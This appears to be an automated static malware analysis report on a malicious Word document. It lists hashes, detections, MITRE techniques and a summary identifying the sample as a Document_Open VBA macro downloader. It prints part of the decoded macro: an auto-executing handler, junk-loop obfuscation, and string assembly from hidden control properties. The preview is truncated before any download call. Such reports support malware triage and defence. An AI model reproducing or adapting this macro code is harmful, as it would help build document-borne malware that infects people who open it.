Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9c48a4f2a96384b…

MALICIOUS

Office (OLE)

243.6 KB Created: 2020-01-16 15:13:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: b49aaa0b6be8079b776e9630eb3f0722 SHA-1: 87493c728f79db7966d857e9b942b24b6c543f6a SHA-256: a9c48a4f2a96384b1fe947448cb44eaadeb7c0a7754cd17a6899c7f6ae31f2e7
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that is automatically executed upon opening (Document_Open). The macro utilizes GetObject and obfuscated p-code, indicating an attempt to download and execute a secondary payload. The ClamAV detection 'Doc.Downloader.Generic-7542952-0' further supports this downloader functionality. No specific family could be identified due to the generic nature of the heuristics and obfuscation.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7542952-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7542952-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11376 bytes
SHA-256: 471dc34d3a7bf3d82fdd9145a75bd68323801251069ba9cfeb160b7b9048fa6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yemdrurptm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Xfogmdqgxbmv
End Sub

Attribute VB_Name = "Zdowwkknlybg"
Attribute VB_Base = "0{A17D04AE-3D46-4764-AD9B-44B065E87D44}{7D8AAFA0-364A-48D3-926A-5774FB90A269}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ukefqmna"
Function Ibzpvlzuwl()
   Do While Zidjqdvmfcbu = 900
            Do While Nanlzdcxxgb = 3 + 2
            Rvfeuzaeqaq = Chr(4)
            Mrgkvsowkfjdw = Sqr(9) + Clxhpneqzyhu
            Xaxkdqlqmk = CLng(Ugqwayvhbe)
            Liibgmoyn = Int(1 + 1)
            Fltsohlymyd = CDate(QKoWc)
            Adxiztkswozui = 9 + Int(4)
            Loop
            Do While Zwkyktkkhf = 2 + 4
            Qgrjhpka = CLng(Fztzuiwuyfw)
            Qofidptpcrsum = Int(1 + 4)
            Rexjhkqle = 2 + Int(3)
            Bnnhbephbvchh = Chr(6)
            Zdhafidrct = Sqr(7) + Uozcaxeogcv
            Efejpxqyxkn = CDate(QKoWc)
            Loop
Loop
Mueesjjohufq = ChrW(wdKeyP)
   Do While Kaqxuqvu = 900
            Do While Ovitywchfuepx = 3 + 2
            Wixrxxilajoqv = Chr(4)
            Xtgrgvspfo = Sqr(9) + Bpauclzyiy
            Agjhkjghwww = CLng(Fxbetrcyog)
            Omevnbzq = Int(1 + 1)
            Allevirmfsp = CDate(QKoWc)
            Nytogapmzngwx = 9 + Int(4)
            Loop
            Do While Jvxtqoxqto = 2 + 4
            Gbbdkcprwtms = CLng(Ebxeixhe)
            Uvvhqhaakg = Int(1 + 4)
            Yjvthjpqjf = 2 + Int(3)
            Kvsogymcxqj = Chr(6)
            Ibpslhkuu = Sqr(7) + Jpqxpnboshx
            Mumtgmhaglz = CDate(QKoWc)
            Loop
Loop
Gveksjffwjqf = Mueesjjohufq + Zdowwkknlybg.Kxrlzjqufizi + Zdowwkknlybg.Oczrcqzbhhcxl
   Do While Fssbnoxy = 900
            Do While Myerfqmfvifdn = 3 + 2
            Xktrmqietm = Chr(4)
            Pmjwnqzxfzyt = Sqr(9) + Gzwxcfqqp
            Gagdtlfv = CLng(Sllsnoegylath)
            Ivjeezxfsh = Int(1 + 1)
            Ulnsxcinokfp = CDate(QKoWc)
            Krsdntwulq = 9 + Int(4)
            Loop
            Do While Qxvftlxvkuk = 2 + 4
            Qzwvxptn = CLng(Fnptwvzaxwg)
            Sirurucphz = Int(1 + 4)
            Taznbcdyipsdr = 2 + Int(3)
            Kumwwepd = Chr(6)
            Ubsqzyoox = Sqr(7) + Amwudnccqndq
            Vucerewmggak = CDate(QKoWc)
            Loop
Loop
Fack = Zdowwkknlybg.Dskyghtrm.Tag
Dehokboqpsp = Split(Gveksjffwjqf + LTrim(LTrim(Fack)), "9_msnnj883hn///")
   Do While Ajxggdysbfh = 900
            Do While Ytswpimmctn = 3 + 2
            Fesgtdspmiihv = Chr(4)
            Izbspgrrclfae = Sqr(9) + Qkrixuzumddxl
            Puepedsuyq = CLng(Puncnmosypm)
            Iepoljgg = Int(1 + 1)
            Lwpzuxptrkgkz = CDate(QKoWc)
            Qkwslahy = 9 + Int(4)
            Loop
            Do While Ydgnhhhwycgy = 2 + 4
            Uivvvwyfqnvy = CLng(Iwdxcdwujfj)
            Nbvtrxcxcemcq = Int(1 + 4)
            Mssjysncyiwj = 2 + Int(3)
            Zqlswkev = Chr(6)
            Ahrfrrvl = Sqr(7) + Iqnaegay
            Undxcnbjum = CDate(QKoWc)
            Loop
Loop
Ibzpvlzuwl = Bnlfmwtrhe + Join(Dehokboqpsp, "") + Bnlfmwtrhe
   Do While Uaqnsezcsw = 900
            Do While Nhyvpbbgdexvt = 3 + 2
            Jdhsrtvmqlgq = Chr(4)
            Nmwynfikpiaui = Sqr(9) + Cvuilqzldje
            Hkjlygprawfe = CLng(Oyrxkpxopmhqj)
            Spjnndez = Int(1 + 1)
            Bpxcyoecsknm = CDate(QKoWc)
            Cytuweixbqih = 9 + Int(4)
            Loop
            Do While Wvjycbjzzlr = 2 + 4
            Oqdogdql = CLng(Kdlneohtrt)
            Xbokkjcyh = Int(1 + 4)
            Btgxbbdefhlzu = 2 + Int(3)
            Elsszepjtbz = 
... (truncated)